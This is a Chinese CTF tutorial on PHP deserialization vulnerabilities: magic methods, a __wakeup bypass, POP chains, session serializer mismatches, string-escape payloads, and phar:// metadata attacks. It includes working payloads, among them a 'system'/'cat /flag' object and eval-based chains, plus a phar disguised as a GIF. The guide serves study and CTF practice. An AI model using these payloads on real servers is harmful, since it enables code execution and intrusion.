这篇文章给大家介绍CTF中常出现的PHP反序列化漏洞有哪些,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
PHP序列化是一种把变量或对象以字符串形式转化以方便储存和传输的方法
在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
比方来说,我现在有一个类,我需要通过接口进行数据传输,或存储至数据库中以备将来使用,同时又想保持其结构,让接收方接收或数据库读数据时恢复其原来的结构,就需要通过序列化将对象按照一定格式转化为字符串的形式来进行传输
简单来说,就是用字符串储存数据,同时包含其数据类型以及结构信息
序列化函数:
serialize(object);
PHP反序列化就是把被序列化的对象字符串转义为具体的对象。
反序列化函数:
unserialize(object)
举个简单的例子:
<?php Class user { public $username; function __construct($username) { $this->username=$username; } } $a=new user('Bob'); $s=serialize($a); echo $s; //输出 O:4:"user":1:{s:8:"username";s:3:"Bob";} ?>
其中O代表object对象类型
4是类名的长度
"user"是类名
1是对象内属性的个数
s:8:"username"表示属性为字符串格式username为属性名 长度为8
s:3:"Bob"是属性的值
php中属性的共有类型共有三种:public protected private
被这三种修饰过的变量在序列化后有不同的格式
public 正常序列化
protected
%00
*%00
变量名private
%00
变量名%00
在复制payload时要注意手动输入%00
什么是魔术方法?官方文档中是这么说的
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone()和 __debugInfo()等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。
注意:所有的魔术方法 必须声明为
public
警告:PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。
在php反序列化利用中常常用到一下这些魔术方法
__construct() //当一个对象创建时被调用 __destruct() //当一个对象销毁时被调用 __toString() //当一个对象被当作一个字符串使用 __sleep() //在对象被序列化之前运行 __wakeup() //在对象被反序列化之后被调用 __call() //当要调用的方法不存在或权限不足时自动调用 __get() //需要调用私有属性时自动调用
这些方法都是在对象的生成、解析、序列化反序列化和调用时被调用。如果其中的属性可以被外部所利用,具有相当的危险性。
这些魔术方法的具体理解附在文章最后
PHP反序列化漏洞又称PHP对象注入,主要成因就是在处理反序列化数据中处理不当导致的危险代码执行
举一个简单的例子
[NPUCTF2020]ReadlezPHP
<?php #error_reporting(0); class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); } } $c = new HelloPhp; if(isset($_GET['source'])) { highlight_file(__FILE__); die(0); } @$ppp = unserialize($_GET["data"]);
类_HelloPhp_拥有两个魔术方法,在__destruct
方法中,使用成员变量$a
作为参数$b
作为变量函数名执行代码
在代码最后接收GET参数并进行反序列化
这道题很简单,我们只需要通过构造$a
与$b
组成危险代码,然后构造HelloPhp类的序列化对象即可
构造payload:
<?php #error_reporting(0); class HelloPhp { public $a="cat /flag"; public $b="system"; } $c = new HelloPhp; echo serialize($c); #输出: O:8:"HelloPhp":2:{s:1:"a";s:9:"cat /flag";s:1:"b";s:6:"system";}
影响版本
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞描述
当序列化字符串对象属性数量大于实际的属性数量时,将不会调用__wakeup函数
举个例子:
<?php class score { public $name; public $score; public $grade; function __wakeup() { $this->name='Bob'; } function __destruct() { echo $this->name; } } if(isset($_GET['s'])) { $s=$_GET['s']; unserialize($s); } ?>
上述的例子中有一个score类,并且接受GET参数s。
我们假设这个例子中的s参数接受的是序列化的score对象,我们无论将属性name赋为什么值,结果都会被__wakeup函数给改为Bob。
但是如果我们可以绕过__wakeup函数,就可以将name属性改成我们想要的任何值。
刚才我们传的参数s是
O:5:"score":2:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";}
改成:
O:5:"score":1:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";}
即可实现控制输出的内容,从而绕过__wakeup函数
看下面这个例子:
<?php class A{ var $target; function __construct(){ $this->target=new B; } function __destruct(){ $this->target->action(); } } class B{ function action(){ echo "action B"; } } class C{ var $test; function action(){ echo "action C"; eval($this->test); } } unserialize($_GET['test']);
在这个例子中class B和class C有一个同名方法action
,class A中在__construct时创建了一个class B并在__destruct时调用了其action方法,我们可以构造目标对象,使得解构函数调用class C的action方法,实现任意代码执行。
<?php class A{ var $target; function __construct(){ $this->target=new C; $this->target->test='phpinfo'; } function __destruct(){ $this->target->action(); } } class C{ var $test; function action(){ echo "action C"; eval($this->test); } } $a=new A; echo serialize($a);#O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}
在php中session值经序列化后储存,读取时再进行反序列化操作
在php.ini中有这么几项配置:
session.save_path="" //设置session的存储路径 也就是服务器上实际储存session的位置 session.save_handler=""//设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的方法可以使用本函数(数据库等方式) session.auto_start boolen //指定会话模块是否在请求开始时启动一个会话默认为0不启动 session.serialize_handler string//定义用来序列化/反序列化的处理器名字。默认使用php
serialize_handler的值决定了php储存session数据的方式,共有三种:
serializer | 实现方法 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize(php>5.5.4) | 把整个$_SESSION 数组作为一个数组序列化 |
session序列化后需要储存在服务器上,默认的方式是储存在文件中,储存路径在session.save_path
中,如果没有规定储存路径,那么默认会在储存在/tmp
中,文件的名称是’sess_’+session名,文件中储存的是序列化后的session。
php储存session的示例:
<?php seesion_start(); if(isset($_GET['test'])){ $_SESSION['test']=$_GET['test']; echo session_id(); } ?>
访问该页面后
session储存在session.save_path
下,文件名为sess_
+session_id
,文件内容为session数据
这是session.serialize_handler=php
模式的session值
这是session.serialize_handler=php_binary
模式的session值
这是session.serialize_handler=php_serialize
模式的session值
Php session反序列化产生的漏洞就在于同一服务中session处理器设置(session.serialize_handler
)出现了不同一
通过如下的例子理解:
<?php #test1.php ini_set("session.serialize_handler", 'php'); session_start(); class A{ var $a; function __wakeup(){ eval($this->a); } } ?>
在test1.php页面中有一个危险类A ,序列化处理器为php
<?php #session.php ini_set('session.serialize_handler', 'php_serialize'); session_start(); if(isset($_GET['test'])){ $_SESSION['test']=$_GET['test']; echo session_id(); } ?>
在session.php中接受用户传入的参数并储存至session中,序列化处理器为php_serialize
先来看生成payload:
<?php class A{ var $a="phpinfo();"; /*function __wakeup(){ eval($this->a); }*/ } $d=new A; echo serialize($d); //输出: O:1:"A":1:{s:1:"a";s:10:"phpinfo();";} ?>
payload为|O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}
我们以此为参传入session.PHP
由于session.php的序列化处理器为php_serialize,因此储存至文件中的序列化数据形成了如上图的内容,而当被test1.php使用反序列化处理器php读取时,由于读取格式的不同 竖线前的内容将会被作为键值读取,而之后的内容会被作为序列化数据从而被反序列化:
因此在访问test1.php页面时引发了反序列化的session值产生了一个危险类A的对象并执行了危险代码:
在理解了php反序列化后你就能知道字符串逃逸本质上是闭合,类似于sql注入中利用分号或者引号来闭合语句。反序列化字符串逃逸也是利用php对序列化字符串解析的特性来进行攻击。
在反序列化时,序列化的值是以分号作为分隔,在结尾以}为结束。我们看一个例子:
<?php class people{ public $name = 'Tom'; public $sex = 'boy'; public $age = '12'; } $a = new people(); print_r(serialize($a)); ?>
运行结果:
O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}
反序列化的过程就是当碰到与{最接近的;}时完成匹配并停止解析,我们将上列反序列化结果的结尾加上一些无意义的字符串并反序列化。
O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123
经过反序列化后:
可以看到我们在结尾添加的123123并没有影响反序列化,程序没有报错解析结果也没有问题。这说明上述的原理是正确的。
但是当我修改字符串长度的数值时,我们来看看反序列化还能否正常解析,例如我将s:2:"12"
改为s:3:"12"
:
O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:3:"12";}
php报错:
PHP Notice: unserialize(): Error at offset 75 of 77 bytes in /Users/oriole/WorkSpace/www/html/index.php on line 16
实际上,在解析字符串的过程中,当字符串长度与反序列化描述不同时php将报错,换一种说法:php将按照反序列化字符串定义的长度读取字符串,当引号内的定义长度的字符串在读取时未读取至末尾引号之前的字符、或超越了末尾引号进行读取时就会报错。
因为这种报错的存在,字符串逃逸分为两种:
1.关键字增多
2.关键字减少
在题目中,往往对一些关键字会进行一些过滤,使用的手段通常替换关键字,使得一些关键字增多,简单认识一下,正常序列化查看结果。
<?php show_source(__FILE__); $a=array("username"=>"Tom","age"=>"13"); $b=serialize($a); echo $b; echo "<br/>"; $c=preg_replace('/o/',"oo",$b); echo $c."<br/>"; print_r(unserialize($c)); ?>
输出:
a:2:{s:8:"username";s:3:"Tom";s:3:"age";s:2:"13";} a:2:{s:8:"username";s:3:"Toom";s:3:"age";s:2:"13";} PHP Notice: unserialize(): Error at offset 28 of 51 bytes in /Users/oriole/WorkSpace/www/html/index.php on line 11
在上述代码中,未反序列化的序列化字符串中的所有o将被替换为oo,这必然破坏了序列化字符串原有的规则,因而必然引起报错,而我们的目的就是构造字符串使其不要引起报错,为了更易理解,我们增加一个需求:age字段修改为35。
Payload:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
原理:在经过preg_replace以后,每个o都会被替换为oo,比如说我们传入s:3:"Tom"
会被替换为s:3:"Toom"
,这样必然报错。我们要做的就是让这个字符串在增长以后真的有它描述的那么长,同时达到我们将age字段修改为35的目的。
而实现这一目的的方法就是**使反序列化结构包含在这一字符串内,当字符串经过替换后,使其长度等于原来包含反序列化结构的字符串长度,从而使之正常被作为字符串解析的同时使包含在字符串内的反序列化结构被php识别为反序列化结构进行解析,同时冗余的反序列化结构(也就是完整{;}结构以外的)被遗弃。**可能乍一看难以理解,可以选择再仔细理解一下基础思想或继续向下看构造payload的每一个过程。
我们还以上述代码为例,我们需要在字符串中构造一个反序列化结构同时还要达到在替换后闭合前侧字符串的目的:";s:3:"age";s:2:"35";}
,而这一反序列化结构的长度是22:
也就是说我们需要22个字符来代替其位置,每一个o会被替换为oo也就是增加一个字符,也就是说我们需要22个o来增加22个字符的长度。
因此我们将22个字符长度的oooooooooooooooooooooo
与";s:3:"age";s:2:"35";}
组成username变量的值,我们将其序列化后得到:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
在被preg_replace替换后,长度为22的oooooooooooooooooooooo
变为长度为44的oooooooooooooooooooooooooooooooooooooooooooo
,整个反序列化的payload也变为:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooooooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
当PHP反序列化这个payload时s:8:"username";s:44:"oooooooooooooooooooooooooooooooooooooooooooo";
将被作为整体解析,而";s:3:"age";s:2:"35";}
在最前面的引号与分号闭合了前面的变量后的s:3:"age";s:2:"35";}
也会被正常解析。而因为已经满足了完整的{;}
结构";s:3:"age";s:2:"13";}
将被遗弃而不被解析。
因而可以看到如下的反序列化结果:
Array ( [username] => oooooooooooooooooooooooooooooooooooooooooooo [age] => 35 )
这就完成了一次成功的‘逃逸’。
如果上述内容理解的还可以,那么关键字减少的部分理解起来不会很难。和关键字增多的区别在于通常会把需要反序列化的结构放在关键字增多中冗余抛弃的那一部分,而关键字增多这一部分中我们希望通过关键字符串增多而解析的反序列化结构在关键字减少中需要因字符串长度变化而成为关键字符串的一部分从而不被解析。
和关键字增多的例子相似:
<?php show_source(__FILE__); $a=array("username"=>"Zoo","age"=>"15"); $b=serialize($a); echo $b; echo "<br/>"; $c=preg_replace('/oo/',"o",$b); echo $c."<br/>"; print_r(unserialize($c)); ?>
在这一个例子里oo会被替换为o,假设我们的目的仍然是将age的值改为35。
payload:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooooooooooooooooooooooooo";s:3:"age";s:2:"15";}";s:3:"age";s:2:"35";}
可以看到age被改为了35。
实现这一目的的原理和关键字增多类似:;s:3:"age";s:2:"15";}
长度是22,我们构造44个o来作为username的值,然后将我们需要更改的反序列化结构;s:3:"age";s:2:"35";}
放在最后面,经过preg_replace替换后o的数量变为22,而username所定义的长度为44,这时php会将;s:3:"age";s:2:"15";}
这22个字符一并作为username的一部分进行读取,而后我们后面部分只要闭合的好,就会被作为正常的反序列化结构进行解析,从而达到逃逸的目的。
Phar (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。而Phar文件中也存在反序列化的利用点:phar文件会以序列化的形式储存用户自定义的meta-data,在执行Phar文件时meta-data中用户自定义的元数据将被反序列化从而达到反序列化攻击的目的,这也扩展了PHP反序列化攻击的攻击面
这一利用出自2018年Blackhat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题,具体可以看这里【传送门】。(From Freebuff)
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以
不依赖unserialize()直接进行反序列化操作。
在CTF中常结合文件上传,任意文件读,反序列化POP链构造考察 难度中高
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
被压缩文件的内容。
签名,放在文件末尾,格式如下:
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的phar.readonly
选项设置为Off
,否则无法生成phar文件。
<?php #phar_gen.php class TestObject { var $a = 'a'; var $b = 'b'; } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
通过hex可以看到数据确实是经序列化储存在文件中
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
看一下PHP的底层逻辑:
php-src/ext/phar/phar.c
通过一个小例子验证刚才生成的phar文件
<?php class TestObject { var $a = 'a'; var $b = 'b'; function __destruct(){ echo "Destruct!"; } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
其他文件操作函数也是可行的:
<?php class TestObject { var $a = 'a'; var $b = 'b'; function __destruct(){ echo "Destruct!"; } } $filename = 'phar://phar.phar/random_strings'; file_exists($filename); ?>
当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $o = new TestObject(); $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
1.__construct()
实例化对象时被调用, 当__construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。
注意:通过反序列化产生的对象并不会调用__construct函数
2.__destruct()
当删除一个对象或对象操作终止时被调用。常用
3.__call()
对象调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
4.__get()
读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。
5.__set()
设置一个对象的属性时, 若属性存在,则直接赋值;
若不存在,则会调用__set函数。
6.__toString()
打印一个对象的时被调用。如echo obj;或printobj;或printobj;
7.__clone()
克隆对象时被调用。如:t=newTest();t=newTest();t1=clone $t;
8.__sleep()
serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。
9.__wakeup()
unserialize时被调用,做些对象的初始化工作。
关于CTF中常出现的PHP反序列化漏洞有哪些就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。